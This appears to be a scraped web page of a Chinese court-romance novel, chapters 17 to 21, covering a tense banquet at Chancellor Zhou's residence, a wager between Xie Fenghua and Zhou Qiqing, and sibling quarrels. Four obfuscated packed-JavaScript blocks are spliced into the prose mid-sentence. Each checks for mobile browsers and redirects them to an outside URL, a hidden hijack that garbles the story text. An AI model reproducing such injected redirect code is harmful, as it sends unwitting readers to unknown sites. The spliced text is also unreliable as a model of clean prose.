周惕守俯身在她耳畔说了什么，如春风拂面，周夫人含羞嗔怪了几句，就被众人簇拥着朝正堂走去。 他们的相处方式和兄嫂相处如出一辙，细节处却又大不相同。 谢逢华瞧着怪异，却又想不出是哪里不对劲。 “阿舟！”明玥冷不防朝不远处挥扇，拽着谢逢华朝容舟走去。 容舟交代管家将礼品送入库房，听到熟悉的声调，混乱的心绪稍稍和缓，调整了面部表情，才转过头面向她们。 只是看清明玥身旁的谢逢华时，表情有一瞬间的皲裂，“你怎么把她带来了？” “我以为你不来，只身一人赴宴太无聊，就拉个伴玩玩。”明玥倒是一副无所谓的模样，敲了下谢逢华的脑壳，“何况阿玹今日在家，我怕他欺负小妹，干脆带在身边，我也放心些。” 容舟磨了磨后槽牙，压低声音道：“你分明知晓这里有多危险！” 明玥指了指谢逢华：“所以我把她带来了。” 容舟气笑了： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533613|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她能有什么用处？不过是无辜受累罢了，出了事，我该如何向谢怀世交代？” 这话谢逢华不太爱听。 但念在为她考虑的份上，谢逢华也就不和她计较了。 明玥敛起笑意：“你怎知他会选在今日动手？” 容舟用力闭了闭眼，再睁眼时，方才的震惊一扫而空。 她还是那个清冷疏离的容祭酒。 容舟深呼吸，努力找回自己的声调。“明玥，这些事与她无关，现在派人把她送回去，所有的后果我一个人担。” “什么后果？”明玥抱臂，说不清是讥讽还是愤恨，言辞骤然染上寒意，“你是累昏了头还是被人夺了舍，竟敢私自入宫面圣，你以为那些证据足够让圣上下定决心站在你这边吗？周惕守暂时没抓住你的把柄才用贺礼的名头给你台阶下，倘若他十拿九稳，你此时入宫，无疑是自投罗网！” “有人泄露了风声。” 经不住她的质问，容舟按了按眉心，道：“我连启政殿的大门都没进去，周惕守后脚就跟来了。不过圣上没有召见我们，写了诏书就打发我们走了。” 明玥上下打量她：“折子呢？” 容舟正欲说什么，堂内忽然传来周惕守的声音：“容大人，明家主，院中湿冷，有什么话不如来屋内说说？” 原本已经进堂的周惕守不知何时去而折返，紫袍在夜色中渗出冷光，他站在阶上，居高临下地打量着她们。 明玥侧了侧身，挡住了周惕守审度的视线，赔笑道：“方才吃了些酒，头脑发昏，怕扰了大家雅兴，这才来院中透透气。” 周惕守道：“鄙人已差人备下解酒汤，甚有奇效，明家主不妨品尝一番？” 明玥颔首道谢，周惕守满意点头，转而看向一言不发的容舟，“五殿下，您和长公主许久未见，就这么急匆匆地走了，岂不是伤了长公主的心？” 连周夫人的名号都搬出来了，这下不得不参宴了。 容舟嗤笑一声，没接话。 眼见气氛冷了下来，明玥忙出言打圆场：“舍妹初来乍到，身子不适，待我派人将她送回府便回去。” 周惕守瞥了眼躲在明玥身后的纤弱身影，颇为大度地点了头：“鄙人静候二位贵客。” 像是笃定她们不会离开，周惕守没再执着，转身回了屋内。 “嫂嫂……” 谢逢华探手去抓明玥袖角，这才发现五指冷僵，竟连一撮衣料都握不住。 “吓到你了？”明玥接住她垂落的手，用力在掌心摩擦，“没事的，以后见多了就不怕了。” 直到手指回温，明玥捏捏她的耳垂，温声道：“想回明府吗？我派人送你回去。” 谢逢华摇头，小心翼翼觑了眼容舟，壮着胆子道：“我想在这里等你们。” 容舟拧眉，欲回绝，反被明玥一个眼神瞪了回去。 明玥解下披风，披在谢逢华肩头，系紧束带，嘱咐道：“就在周围走走，别跑远。” 谢逢华乖乖点头，“你们不会有事的对吗？” 明玥笑而不答。习惯性捏了捏她的脸颊，起身正衣，对容舟道： “走吧。” 18. 第 18 章 “要去哪儿？” 头顶蓦然传来声响，谢逢华身子一僵，就连呼吸也瞬间凝滞。 “呵。” 又是一声轻笑。 谢逢华咽了咽口水，数三个数，梗着脖子看向声源处，咬牙切齿念出那人姓名：“周、其、卿！” 围墙上，周其卿身着桉蓝长衫，马尾用玉簪束起，随着动作摇曳。 谢逢华环顾四周，并未有下人跟随。 于是问道：“你在上面做什么？” “赏月。”周其卿双手撑墙，一个挺身，飞身而下。 周其卿掸去身上尘土，三两步上前，“你要去哪儿？” 谢逢华摇头：“嫂嫂让我在附近转转。” “嫂嫂？”周其卿纳闷，“你说的是……明家主？” 虽不知为何他们都把明玥唤作“家主”，但那些虚名都与谢逢华无关。 明玥说过，日后无论是否和离，她永远是谢逢华的嫂嫂，是血脉之外的亲人。 “是。” 周其卿绕了会儿族谱，又道：“所以明家主的夫君是谢学正，而你是明家主的小姑？” 谢逢华：“是。” 周其卿沉默片刻，恍然大悟：“难怪容祭酒如此偏袒你，原是看在明家主的面子。” 谢逢华也不知他从哪里瞧出容舟“偏袒”她。 毕竟容舟的的确确不知她与明玥的关系。 不过周世子向来随心所欲，想到一出是一出，思想无界，谢逢华想管也管不着，随他去罢。 谢逢华不置可否，周其卿挠挠头，原地晃了几圈，犹犹豫豫道：“明家主说……你准备了谢礼？” 藏在袖中的手微颤，谢逢华别开视线，含糊地应了声。 周其卿动了动唇，又似觉得主动索要未免不合礼数，退了半步，道：“那个……今日夫子夸我字写得好。” 谢逢华不解地看向他。 周其卿搜肠刮肚，企图从贫瘠的习性中拼凑出一点可怜的长处，“我写了篇赋，落笔困难，不知可否请你为我指点一二？” 谢逢华嘴角抽搐，看向他的眼神越发怜爱。 “我又不是你的老师。”谢逢华按了按酸胀的眉心，“术业有专攻，我充其量也只是个教书先生，世子还是去找刘博士为您指点迷津罢。” 周其卿猛得抬起头，急道：“瞧一眼，只瞧一眼也不可以吗？我……我不会再像那日般莽撞了。” 指尖攀上热度，那日的余温未散，绕在手掌间，沿着手臂缠上心口。 少年的眼眸炽热而真诚，是宛若雨后残阳，熊熊烈火烧透了半边天色。 谢逢华下意识背过手，灼热烫了舌，竟连声调也变了色，“世子不必如此，那日是我不知分寸，冒犯了世子。” “没有冒犯。”周其卿慌乱摆手，“谢娘子，您还愿意来见我，我已经很开心了。” 这话分量不轻。 若换做寻常人，得周世子此言，必然高兴得晕头转向，不知天地为何物。 纵然心里有一瞬欣喜，欣喜过后，是慌乱、是恐慌、是忐忑不安。 少年人的承诺轻若鸿毛，重若泰山，喜与厌，也不过是他一念之间。 谢逢华见惯了，自然也经不起什么波澜。 何况谢逢华寻他并非谈情说爱。 谢逢华以帕掩唇，似沉思，似郁结，默了半晌，解下腰间香缨，不由分说塞进他手中。 是那枚月白香缨。 谢逢华道：“上次世子说香缨好闻，这几日来不及绣制新的，您别嫌寒碜，且收着这枚，待新的绣好，我再托人转交给您。” 香缨坠在掌中，绣花上还残存着她的体温。 周其卿拢手，沉甸甸的香缨收入掌心，闻言心头一紧：“你要走？” 谢逢华顿觉奇怪：“兄长早已向容祭酒递交辞呈，你常在太学，居然不知吗？” “知……自是知道的。”葱白的指间挤出一点香缨的月白，周其卿嘴上说着，脸色却是格外难看。 谢逢华忽然想起，那时他的手覆在她手上，力道很大，那指间的薄茧磨得掌背碎碎点点的落红。 他声调暗哑：“什么时候离开？” 谢逢华：“许是这两日，亦或明日——” 终是感性战胜了教养，周其卿控制不住上前，隔着衣料，虚虚缠上她的手腕。 “太快了，再等等。” 周其卿仓皇茫然，像是有什么情绪隐隐喷薄欲出：“再等等，等到过了策试……” 他喃喃自语，谢逢华听不清他后面的话。 这人好生奇怪。 谢逢华腹诽，动了动腕，有意挣脱他的桎梏。 只是周其卿虽未曾使力，可也不知使了什么技巧，谢逢华尝试几次，不仅没能解救自己，反而借力将周其卿拉近自己面前。 周其卿也觉察到他们之间的距离，骨子里的礼教告诫他要放手，可身体总不受他控制。 当他反应过来时，冰冷的胸膛已经贴上一具温暖柔和的身躯。 二人双双愣在原地。 “世子！” 谢逢华最先反应过来，手忙脚乱地推开周其卿，素来平静温和的面容破天荒透出惊恐的神色。 她一退就是好几尺远，恨不得离他远远的才好。 可偏偏她不敢跑远。 谢逢华左右顾及，似确信周遭无人，后怕般捋了捋鬓边碎发，道：“世子，请您自重。” 自重？ 竟也不知是谁先越了界，用尽手段撩拨他，又反过来义正辞严地提醒他的身份，告诫他“自重”。 攥着那枚香缨，周其卿恨得牙痒痒。 恨自己轻易被她挑动心弦，恨自己一错再错撞南墙，恨自己尚未及冠，不能明媒正娶迎她入门。 得知谢怀世有意带谢逢华回乡，周其卿难得拉下面子，借着恩人的名头寻上谢怀世，旁敲侧击打听他们日后安排。 谢怀世含糊其辞，提及谢逢华时，只道：“再过几年，便让寻个好人家嫁了。” 再过几年？ 一年还是两年？ 待周其卿及冠，她还是待字闺中吗？ 谢逢华何曾知晓，近一个月的日日夜夜，周其卿生怕有人先他一步前往谢家提亲。 周其卿从未对一个女子如此痴迷，固执地想把她留在身边。 他日日夜夜胆战心惊，闭眼就是她嫁为人妇的噩梦。 喜爱一物，用钱买下。 厌恶一人，用权处理。 可喜爱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533614|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人，是用钱还是用权，才将其困囿于身边？ 人常道寸金难买寸光阴，可这世间竟也有千金求不得的人。 周其卿倍感烦躁。 但他不能在她的面前流露半分。 人有七情六欲，除去外表，谢逢华会哭会笑，会吵会闹，与寻常人无异。 也就是说，谢逢华一定有软肋。 周其卿抬眼，眼底已恢复了清明。 “谢娘子，若我有法子让您留在太学，您愿意……” 后面的话，周其卿难以言喻，只惴惴不安地望着她。 谢逢华惊魂未定，闻言，心跳骤然漏了一拍。 她几乎不敢相信自己的耳朵。 谢逢华料到周其卿行径荒唐，甚至想好事情败露后如何上演一出金蝉脱壳。 现在周其卿的所作所为，她预想的大相径庭！ 谢逢华那些招数只适合对付那些玩弄感情的花花公子，而眼前人目光如炬，死死抓着她的衣袖不放手，显然是动了真感情。 说好的风流多情呢？ 谢逢华有些头疼。 看来京中传言也并非完全可信。 如何在不得罪周家的前提下断了周其卿的念想，是谢逢华今后要面临的难题。 现如今，谢逢华还需要他的帮助。 谢逢华叹气，欠身施礼：“有世子这句话，民女便心安了。” 对于她的应允，周其卿颇为惊诧：“不问问我要你做什么吗？” 谢逢华粲然一笑：“民女相信周世子的为人。” 周其卿死死盯着她，凌厉的目光切入她的骨肉，非要将她从里到外挖透了瞧一眼不可。 半晌，他忽然泄出一声气音：“果然如此。” 谢逢华：“什么？” 周其卿避而不谈，放过她被攥得起褶衣袖，道：“我与父亲提了赌约，只要策试得了甲等，父亲就准我自己择良师。” 谢逢华不怕他提条件，只怕他无缘无故地对自己好。 谢逢华稍稍松口气，道：“你想让我帮你在策试夺甲等，倘若我做不到呢？” “做不到？”周其卿挑眉，摆出一副胜券在握的姿态，“做不到小爷我就携聘礼登门提亲，让全华京都知道你谢逢华是我周其卿的世子妃。” 谢逢华正纳闷周其卿好端端为何要拿婚事作赌注，就听周其卿接着说：“冤有头债有主，万一小爷被你克死了，他们杀你为小爷申冤，这黄泉路倒也不算孤单。” 谢逢华听懂了，合着就是想拉她赴死！ 谢逢华愤愤剜他一眼，痛斥道：“你恶毒！” 周其卿咧开嘴，笑得没心没肺：“怎么样，谢逢华，敢不敢与小爷赌？” 这一刻，周其卿撕开面具，彻底展现出真实的周其卿。 亦或者，这只是他的另一面，而非全态。 谢逢华被他伪装的天真蒙骗了理智，一时掉以轻心，甚至险些将自己赔进去。 “我可以陪你赌，”被牵着鼻子走了太久，谢逢华冷静后也回过味来，“不过我也有条件。” 周其卿扳回一城，心情大好，“说来听听。” 谢逢华指向灯火通明的正堂，道：“我要你进去，把明家主和容祭酒完好无损地带出来。” 19. 第 19 章 若说周惕守“睚眦必报”，周其卿举双手双脚赞成。 但周其卿不认为父亲会对容舟下手。 朝堂上的事周其卿略有耳闻，只是火烧不到他身上，他也懒得多言。 何况除去祭酒身份，容舟还是大夏的五公主，有长公主和皇帝庇佑，纵使父亲一手遮天，也奈何不了她分毫。 皇帝最亲近之人皆在身边，周惕守再恨容舟也不可能在天子眼皮子下动手。 比起容舟，谢逢华或许更该担心她的嫂嫂。 周其卿与明家主接触不多，几次会面也对她印象不错，倒是有些好感。 明府的缠糖甜掉牙，茶水也比不上御赐的香，大抵合谢逢华的口舌。 她分明急得眼眶都红了一圈，仍要装作胜券在握的模样，梗着脖子向他提要求。 她明知这是一场不划算的交易，却还是说出了口，也不知是真把他当成傻子，还在身处险境的人对她实在重要。 谢逢华不经朝政，对官场的弯弯绕绕一窍不通也不足为奇，只是她居然对明家主言听计从，宁愿拉下脸面也要求他帮忙，当真不是被明府的甜言蜜语黏住了眼睛吗？ 平日那么能说会道，怎么偏偏在这种地方犯蠢。 周其卿好心提醒她：“我若不帮呢？” “不帮？”谢逢华的反应比他预料的还要淡定，“世上只有你一人不成？你不帮，有的是恩人愿意出手相助。” 周其卿竖眉：“你要找谁？” “与你无关。”谢逢华扔下话，转身就走。 “站住！”周其卿厉声道，“谁准你走了？” 谢逢华左耳进右耳出，加快了步伐，生怕慢一步，他就能提刀将她拦腰砍断。 “谢逢华！” 谢逢华健步如飞，周其卿竟一时没能追上。 赶在她踏入正堂前，周其卿三步并作两步，一口气冲到她面前。 东观西望，确认无人，在她堪称惊愕的目光中，一手拦腰，一手捂住她的口，半拖半拽的，在屋内人觉察前将她拖到了庭院角落。 谢逢华看着弱不禁风，猛得发起狠来犹如野马脱缰，周其卿险些没按住她。 “不要命了是不是？”周其卿气得够呛，一把扯下腰间佩带，三两下将她的手捆了个结实。 谢逢华反抗无果，气喘吁吁地瞪着他。 周其卿抓起碎发捋到脑后，起身，居高临下看着她。 谢逢华半躺在地上，发髻落下几撮乌丝，湿哒哒黏在她绯红的脸颊，衣衫折腾得略显凌乱，好在披风作护，不至于弄脏衣裙，不然以她的小心眼，想必又该在背后说周其卿的坏话了。 即便已撑不住倒在地上，浑身上下狼狈不堪，谢逢华依旧恶狠狠地瞪着他，咬牙切齿：“得不到就霸王硬上弓，周其卿，你算什么君子。” 周其卿觉得她这幅模样好玩得很，饶有兴致道：“我何时说过我是君子了？” 谢逢华：“……” 瞧了眼月色，周其卿转了转手腕，席地而坐。 “谢娘子，这段时间你教我读词作赋，常为我指点迷津，我收获颇丰。正巧，我也有些东西想教教您。” 堂内歌舞升平。 容舟全无吃酒玩乐的心思，只手撑腮，杯中琼浆玉液宛若白水寡淡，饮之无味，品之难闻。 入宫不过一炷香的时辰，周惕守便得了风声，难道她身边有周惕守的眼线？ 容舟百思不得其解。 不知从哪里飞来一颗翠果，精准落入手中的酒杯里，溅起的酒花打湿了她的鼻尖。 容舟四下翘望，只有旁座的明玥在朝她挤眉弄眼。 明玥朝她做了个口型，又朝主位努嘴，似乎向她暗示着什么。 容舟望去，才不过一刻钟，周惕守已然不见方才趾高气昂的得意模样，板着脸，一言不发地喝着酒。 一旁的周夫人也不见喜色，发髻上的银钗金簪压垮了她的肩头，端着酒杯许久也不见喝一口，不知在想些什么。 丝竹管弦不绝，宾客们沉溺于酒乐中，对主位的异样浑然不觉。 容舟收回目光，朝明玥打哑语:“出什么事了？” 明玥摇头，茫然无知。 “容大人。”正悬着心，主位上的周惕守撂下了酒杯，冷不防唤她，“太学可有位姓谢的学正？” 容舟心下一惊，忙道：“确有此人。” “此人如何？” “学识渊博，克尽厥守，是个可用之才。” “大才啊……”周惕守沉吟，指腹摩挲着杯沿，“此人现在在哪儿？” “他今日——” “他尚在太学内。”自外堂传入的声音夺去容舟辩解的可能，在众人注视下，周其卿迈步跨入门内。 周夫人挺了挺身，眸中又恢复了往日的温和慈爱，“卿儿来了。” “父亲，母亲。”周其卿朝主位上的爹娘行了礼。 漠视容舟警告的眼神，周其卿走近了些，接着道：“此人富有学识，对学子课业多有增助，只是家境清贫，屡生辞官归隐之心，如今朝廷正是用人之际，儿子不愿看到栋梁之才隐没民间，所以儿子才想请父亲出面，将此人留下，继续为朝廷效劳。” “栋梁之才。”周惕守念着这几个字，仰头将酒杯中的酒一饮而尽。 “那就让本相瞧瞧，他是何等大才。” 酒杯重重磕在桌案上，周惕守起身，面上醉态尽现，口齿却清晰嘹亮，在场每个人都听的一清二楚。 周惕守离开了，想必是去了二夫人房中。 周夫人定了定心神，按住倾倒的酒壶，对面面相觑的宾客道：“让诸位见笑了，我不胜酒力，留在这里怕扰了诸位雅兴，且暂由容大人替我主持着，大家吃好喝好。” 主人都走了，这生辰宴也没了开下去的意义。 周夫人走后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533615|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不久，宾客们也纷纷借口告辞。 容舟送走国公夫人，转头撞见周其卿蹲在桌边倒酒，气不打一出来，上前一把夺走酒壶，道：“你又在闹什么幺蛾子？” 周其卿不言，笑呵呵从她手中取回酒壶，自顾自满上一盏酒，放在唇边抿了一口。 容舟搞不懂他的用意，耐心耗尽，正欲唤下人将这酒疯子拖走，就听身后传来一阵急切的脚步声，旋即就是明玥一声惊呼：“应时？” 周其卿放下酒杯，望向她的眸中满是笑意：“人我替你保下了，接下来该你兑现承诺了。” 谢逢华冷眼看着他。 搭在腕处的指节渗出一抹苍白，谢逢华咬了咬舌尖，模糊的视线逐渐恢复了清明。 谢逢华道：“八字没一撇的事儿，不做数。” 周其卿眯了眯眼，清酒熏得他目光迷离，谢逢华拨开云雾，却寻到一双危险的鹰眸：“想反悔？” 谢逢华扯了下嘴角：“世子爷失约的事还少吗？” “嘶……”周其卿倒吸一口凉气，跳动的火舌吞噬迷雾，走出迷雾却发现，迷雾之外仍是迷雾。 “你指责我失约，可那日一早我分明安排书童赴约，倒是你，白白让我手下人干等一日，压着书不还，还联合谢学正倒打一耙指责我失约，用得这么得心应手，谢逢华，你用这招蒙骗了多少人？” “周其卿！”谢逢华怒不可遏，抄起茶盏朝他泼去，“少血口喷人，那日我在树下等了你整整一日，那天下了大雨，第二日我就发起了烧，嫂嫂和兄长都能作证，你空口无凭，凭什么污蔑我的清白！” 兜头一杯冷茶浇灭了周其卿呼之欲出的怒火，周其卿抹了把脸，不可置信地看着她：“你……你说得都是真的？” 委屈染红了她的眼眶，谢逢华死死咬着唇，憋着气不理他。 明玥上前将谢逢华拽到身后，道：“世子殿下，小妹身子不好，脾气拧了些冲撞了世子，我待她向您道歉。但话说回来，那日我陪着小妹一同赴约，论过错，的确是世子失约在先，这点毋庸置疑。” 容舟好不容易从巨大的变故中回过神，左右张望，最后选择拉住周其卿的小臂，防止他一怒之下冲上前伤了她们。 突然的反转杀了周其卿一记回马枪，周其卿愣了许久，好不容易理解了她们言语里的解释，还是难以相信，试图为自己辩解：“可……阿铭分明说……” 明玥道：“那珥珰是小妹娘亲去世前留给她的遗物，这两年小妹全靠着这份念想才得以过活，这份思念，岂是一本书可以与之相比的？” 周其卿闭了嘴，难得的安静下来。 “周世子，这些日子你受谢学正教导，他可曾教过你，与人相约，最忌假手于人。” 周其卿低着头，不知在想些什么。 容舟干咳一声，打破了三人沉闷的气氛。 容舟道：“世子，有时近亲之言，亦不可轻信。 20. 第 20 章 砰！ 茶盏四分五裂，碎片崩了遍地。 周铭跪在冰凉的青砖上，任由手上被裂片划出一道道细小的划痕，眉头都没有皱一下。 周铭只得将腰弯得更低，直至额头传来刀割般的刺痛，“世子息怒。” 周其卿坐在梨花椅里，手中攥着一枚月白香缨，冰冷的目光划过伏在地上的周铭，声希味淡：“周铭，你可知欺骗本世子的下场？” 周铭身子牢牢凝在地上，支支吾吾：“世子，奴才……” 许是厌倦，周其卿懒洋洋打了个哈欠，“行了，吓吓你而已，本世子又不是那些是非不分蛮不讲理的主子。” 明明笑着，他的目光却冷若冰霜，“去后库领二十杖，就当长长记性，让你记住谁才是你的主子。” 这惩罚不重，说明周世子却无责备他之意。 周铭松了口气，收拾了碎片残渣，道了句安好，蹑足退了出去。 门合上的刹那，方还挂在面上的笑意荡然无存。 燕儿做事没轻没重也罢，现在连他的私事也要掺和，当真是被宠坏了。 还有父亲和二夫人…… 听下人说，今夜父亲与娘亲又因二夫人闹了不愉快，看来明日请安时要小心些了。 经方才一番折腾，周其卿睡意全无。 手边别无消遣之物，周其卿遂又拾香缨，凑在鼻尖轻轻嗅了嗅。 忽远忽近，似有若无，远在天边，却又近在眼前。 周其卿抓不住那缕幽香，捏着香缨的手指越发用力收紧，好似攥住她一片衣角，使她为之驻足，从而再多看自己一眼。 “谢逢华……” 周其卿喃喃，闭目塞听，将香缨虔诚捧在手掌间，俯首贪婪汲取每一丝属于她的气息。 今夜注定无眠。 谢逢华躲在容舟身后，战战兢兢探出半个脑袋，在某道几欲杀人的目光中，壮着胆子说：“兄长，那时我真的别无他法，只能出此下策。” “你闭嘴！”谢怀世仿佛被人踩了尾巴，瞬间暴跳如雷，“谁准你去周家，我就问你谁准你去那种地方的？” 若非明玥以身作栏死死抵着谢怀世，恐怕谢怀世早已冲上来将谢逢华揍成牛肉丸了。 “济民，你冷静些。”明玥满头大汗，七手八脚将还在熊熊燃烧的谢怀世按回椅子上，擦了把额头的汗，破罐子破摔道，“是我带她去的，要骂就骂我。” 容舟挡着谢逢华后退几步，摆明了是要护着谢逢华。 一个两个全和他对着干，谢怀世悲喜交加，捂着胸口，饶是他治的了太学那群顽皮的学子，却也对眼前这三个手无寸铁的女子束手无策。 谢怀世气得说不出话，哆嗦着手指了她们半晌，又无奈落了下去。 见他冷静，明玥趁热打铁，忙递上一盏温茶，“济民，小妹也是为了你着想，虽说有些不妥，但那时的确别无他法。” “别替她遮掩。”不知是气的还是呛到了，谢怀世重重咳嗽两声，抬手指向鬼鬼祟祟的谢逢华，“过来。” 谢逢华再三确认他手中没有趁手的物什，抿了抿唇，缓步挪到谢怀世面前。 “你说，”仿佛骤然苍老了十岁，谢怀世嗓音暗哑，疲惫涌上眉眼，“你和周世子做了什么约定？” 谢逢华下意识看向明玥。 明玥轻轻摇头，神情大意是注意言行，别再惹谢怀世生气了。 谢逢华委决不下，可谢怀世摆明了一副“说不出所以然就要和她犟到底”的架势，明日休沐，谢怀世有的是时间跟她耗下去。 兄妹僵持片刻，谢逢华落了下风，绞着衣角，道：“世子说，他帮兄长引荐，作为交换，我要帮世子在策试中夺得甲等。” 没听到关于“以身相许”之类的字眼，谢怀世暗暗松了口气，转而亦有些狐疑：“只是这样？” 谢逢华点头如捣蒜，生怕谢怀世不相信，甚至三指朝天：“若有半句虚言，我终生不嫁。” 谢怀世：“……” 明玥：“倒也不必如此。” 旁观许久，容舟踱步上前，对谢怀世道：“方才接到周府来的口谕，后日一早周相踏访太学，让我们早做准备。” 事已至此，谢怀世别无选择。 谢逢华心虚别开视线，本能摸向腰间，反而扑了个空，这才想起香缨已转赠给了周其卿。 谢怀世的视线随着她挪动，注意到她不自然的动作，眸光沉了沉：“你的香缨呢？也送给世子了？” 谢逢华讪讪背过手，“许是落在周府了。” 左不过身外之物，谢怀世倒也没深究，冷哼一声，转身回房继续生闷气去了。 谢逢华左瞧瞧右看看，想拉着明玥说些什么，另一道人影先她一步拦下了欲离开的明玥。 容舟恼道：“他就是你那好夫君？” 谢逢华触火般缩回手，默默朝门外挪了两步。 明玥也没料到容舟在此时翻旧账，被拽住衣领子时还愣了两息，听清容舟的话，刚迈出去的腿慢慢收了回来。 装傻充楞是不可能了，谢逢华也帮不上什么忙，明玥憨笑，努力将她的手从脖颈上扒拉下去：“哎呀，瞧我这记性，把这事儿都忙忘了……” 容舟咬牙切齿：“你最好给我个解释。” 眼瞅着形势不对，谢逢华连表面功夫都不做了，拔腿冲出门，离开前，还好心地将门关好。 “白疼这丫头了。” 明玥气冲冲地想。 翌日，周其卿一早练了剑，沐浴更衣，草草用过早膳，便去了周夫人房中。 近身侍奉周夫人多年的姑姑道：“昨夜夫人睡得晚，尚未清醒，世子若不介意，不妨先吃盏茶，稍待片刻。” “不妨事。”周其卿道，“方才听说母亲昨夜唤了府医，可是出了什么事？” “世子多虑了，”姑姑道，“夫人吃了些酒，又吹了风，有些头痛罢了，昨夜用了一副药便无事了。” 周其卿将信将疑，抬眼却看到二夫人携着周燕飞朝这边走来，到唇边的话又咽回腹中。 待二人走到跟前，双方互行了礼。 见到紧闭的门窗，二夫人眉头微蹙：“已经辰时了，夫人竟还未醒来，我怎记得大娘子所服用的汤药中没有安神的成分？” 姑姑忙道：“从前没有，只是近日夫人总唤着失眠心悸，老爷便让府医在汤药中加了些镇定安神的药材。” 二夫人又问了周夫人近日的膳食，姑姑皆一一答应了。 二夫人倒是比他这个亲儿子还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533616|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心周夫人。 周其卿收回目光，对二夫人施礼道：“崔娘子，我想与燕儿单独说说话。” “你们兄妹之间尽管去说，世子不必多礼。”崔夫人平静道，“别走太远，待大娘子醒了，我派人唤你们。” 周其卿带着周燕飞走到无人的角落，打发随从去别处守着，这才开口道：“周铭可曾给过你一副珥珰？” 周燕飞错愕，旋即想到什么，脸上浮现一抹慌张：“哥哥此话何意？” “那珥珰是一位小娘子抵给我的，周铭说你取走珥珰并答应归还，不知可有履行诺言？” 周燕飞道：“哥哥所托，妹妹自然尽全力践行。” 周其卿颔首：“路远日高，辛苦妹妹了。” 周燕飞想也没想，道：“这都是妹妹应该做的。” 周其卿久久没接话。 周燕飞疑惑，一抬眼，却撞见一双审度的目光在她身上逡巡，笑容骤然僵在脸上。 “那日你根本没出府。”周其卿缓缓说道，“不然你怎么连那日下雨都不知道？” 一向伶俐活泼的嘴像是含了块饴糖，结结巴巴说不出半句话。 “我出去了的。”撞入他漠然的眼，周燕飞心下惶恐，忙道，“走到半路忽然下了雨，我，娘亲唤我归家，我就……” 周其卿环抱双臂，耐心听着她辩解。 熟悉他的人都知道，这种沉默是周其卿濒临愤怒的前兆，而与他血脉相牵周燕飞从未注意过这种变化。 似以为他纵容，亦或者压根并不上心，周燕飞在这种沉默中得到了错误的信号，误以为周其卿会像往日一般包容她的一切错误。 起初周燕飞理亏，语无伦次地解释着，可说到后面，像是得了谁撑腰般，慢慢挺起了腰杆，“可是哥哥，那天下了那么大的雨，你怎知那人就一定会去？” 周其卿看着喋喋不休给旁人泼脏水的妹妹，愤怒之余，竟只剩无尽的悲哀。 从前连路边野花都不敢摘的姑娘，何时成了颠倒黑白不辨是非的帮凶？ 天色阴翳，静默无风，潮湿的水汽沉重地压在每个人身上。 周燕飞终于觉察出一丝不对劲，立马止住口，怯生生窥着他。 周其卿吐出一口浊气，死掐着掌心肉才勉强克制住甩她一耳光的冲动。 千言万语堵在喉间，咽不下去，吐不出来。 “哥哥。”见他久久不语，周燕飞鼓起勇气，小心拉扯他的衣角，“那位娘子，对你很重要吗？” 原本浑浊的视线因她一句话骤然变得锐利。 周其卿低头，望向周燕飞的目光里多了几分不可捉摸的怀疑。 周燕飞毫无觉察，依旧自顾自地说：“不如告诉我她是谁，明日我亲自上门向她道歉。” “是想向她道歉，还是找她麻烦？” 周其卿眸光沉沉，拂落攀在衣襟上的手，“此事到此为止，别再干涉我的事，也别想就此机会找她麻烦，否则别怪我不顾往日情面。” 周燕飞骇然失色：“你，你要为了一个不知哪里来的乡野村妇，与你最亲的妹妹翻脸？” “是。”周其卿居高临下，眼神近乎薄情，“周燕飞，事不过三，再让我从你口中听到粗鄙诋毁之言，我便没你这个妹妹。” 21. 第 21 章 周燕飞哭着跑开了。 毕竟是看着长大的孩子，周其卿还是心疼的。 只是此事做得实在过分，若不给些教训，如若日后误了正事，到那时，只怕是后悔都来不及。 倘若此举能让周燕飞意识到他这个兄长的威严，纵使父亲责罚，周其卿也心甘情愿认了。 周其卿托下人给周夫人带了话，转身朝府外走去。 今日无人邀约，周其卿便在街头闹市闲逛。 